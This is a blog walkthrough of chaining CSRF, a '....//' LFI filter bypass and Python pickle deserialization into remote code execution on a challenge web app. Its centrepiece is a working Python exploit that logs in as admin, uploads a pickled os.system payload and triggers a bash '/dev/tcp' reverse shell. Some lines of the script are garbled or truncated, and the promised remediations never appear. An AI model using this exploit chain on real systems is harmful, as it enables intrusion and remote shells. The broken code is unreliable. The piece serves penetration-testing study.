web assessments

Chaining Web Vulnerabilities FTW w/RCE

I've recently enrolled in Offensive Security's Advanced Web Attacks and Exploitation (AWAE) course. One of the biggest takeaways that I've experienced so far, is that when finding various vulnerabilities, some may not be as significant as a SQLi or RCE, but if possible these "less impactful" vulnerabilities can be chained together to form a more stronger attack. This post gives a brief walkthrough of how I was able to identify a few different vulnerabilities in a web application, which ultimately led to full RCE against the system hosting it. Suggested remediations are listed at the end of this post.

Note: This Python web application was part of a challenge assessment, and wasn't used in production. The challenge involved both static code analysis, as well as dynamic testing on the hosted application.

Vulnerability Numero Uno

The first vulnerability that I found was a Cross-Site Request Forgery (CSRF). This vulnerability was found to exist on a few of the various pages for the application, but for the attack chain outlined in this post, the page that allowed the application admins to make blog posts was targeted. While I'm on the topic real quick...when testing web applications, it's important to thoroughly test site administrators' capabilities as these users are often given broad/less-restricted access to performing tasks when compared to regular users. As a result, the access administrators have could lead to more impactful vulnerabilities, which is demonstrated in this post. Using Burp Suite, the vulnerability was validated and confirmed with a working PoC.

When the Submit request button is pressed a new blog post is made on behalf of the admin user as seen below. There are three fields to a post: title, description, and image. The image will be targeted in the Hat Trick section below. Take note what directory images are saved in (http://localhost:8888/static/images/cat.jpeg).

Vulnerability Numero Dos

The next vulnerability found in the application was a Local File Inclusion (LFI) on the file downloader page. The application developers attempted to prevent this type of vulnerability by implementing a filter to limit attackers from using the common LFI input, ../, in their requests. This filter can actually be bypassed by simply using ....//, which gets truncated down to the previously mentioned input. The code that handles this download capability is as follows:

This vulnerability by itself is difficult to deem "high impact" as when a file is included in the response, only the contents of files that are serialized in the Pickle format are actually returned. For example, when attempting to use the LFI to read a commonly targeted file, /etc/passwd, we get the error seen below in the response.

We can confirm that the file /etc/passwd exists by comparing the response for a requested file that doesn't exist.

This allows attackers to confirm the existence of files, but as mentioned before only download files that are in "pickle-ized" (serialized using pickle module) format. The response also gives attackers a better sense of the file/folder structure as seen in the error output.

Hat Trick

As previously seen in the LFI vulnerability, the developers were making use of Python's pickle module. However when looking at the documentation for this module, viewers are given the warning of dangers faced when using pickle to serialize their data.

So now with the knowledge of the previous sections, let's review the requirements that must be met in order for this chain to be taken to full RCE.

  • Identify CSRF on /admin page where blog posts can be created on behalf of the admin, and also what directory images are stored in
    • If admin credentials are utilized, the CSRF portion can be bypassed
  • Identify LFI on /download page
  • Identify usage of pickle module, and create custom payload in "pickle-ized" format

CSRF --> Pickle-ized Payload --> LFI --> RCE --> Shell

To obtain shell access to the server hosting the web application, an attacker could craft a CSRF page hosting the malicious code, intended to target an admin user. Since social engineering attacks were not in scope for this scenario, a more deceptive page wasn't created, however the following gives a PoC showing both the uploading and triggering of the malicious payload. When the admin clicks the Upload payload button, the browser will make a request as the admin user uploading the "pickle-ized payload". The second button, Trigger payload will then attempt to download the payload, triggering the reverse shell. These actions can be performed automatically just by having the admin click the initial link to the CSRF payload, without the need for the 2 buttons.

And the code for this PoC:

See below for the CSRF exploit in action.

RCE Script

As mentioned previously this exploit chain can be used if authenticated as an admin. This exploit works in a similar nature to the one mentioned above. First it makes a request to upload the payload, then triggers it, sending a reverse shell back to the attacker. The source code for this exploit is as follows:

The following exploit performs a remote command on the targeted web application. In it's current state, it requires an admin user's credentials. Edit the initial variables, and simply execute with: python
import os
import pickle
import requests

# edit these settings as needed
login_url = 'http://localhost:8888/login'
upload_url = 'http://localhost:8888/admin'
download_url = "http://localhost:8888/download?fn=....//....//static/images/pickle.txt"
proxies = {"http": "", "https": ""}
adminname = 'administrator'
adminpass = 'admin'
command = '/bin/bash -c "sh -i >& /dev/tcp/ 0>&1"'

# pickle stuff
class do_it(object):
    def __reduce__(self):
        return (os.system, (command,))
print ("[+] pickle-izing your payload...")
pickle_payload = pickle.dumps(do_it(),0).decode()

# stage payload
print ("[+] staging your payload...")
s = requests.Session()
data = {'username':adminname, 'password':adminpass}, data=data, proxies=proxies)
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "http://localhost:8888/admin", "Content-Type": "multipart/form-data; boundary=---------------------------12903626845780472821358053821", "DNT": "1", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
data = "-----------------------------12903626845780472821358053821\r\nContent-Disposition: form-data; Content-Disposition: form-data; name=\"title\"\r\n\r\nnothing_to_see_here\r\n-----------------------------12903626845780472821358053821\r\nContent-Disposition: form-data; name=\"paragraph\"\r\n\r\njust a regular posting\r\n-----------------------------12903626845780472821358053821\r\nContent-Disposition: form-data; name=\"upload\"; filename=\"pickle.txt\"\r\nContent-Type: text/plain\r\n\r\n" + pickle_payload + "\n\n\r\n-----------------------------12903626845780472821358053821--\r\n", headers=headers, data=data, proxies=proxies)

# trigger it
print ("[+] triggering your payload...")
s.get(download_url, headers=headers, proxies=proxies)

Both exploits in action:


  • Leave a Reply

    Your email address will not be published. Required fields are marked *

    17 − 8 =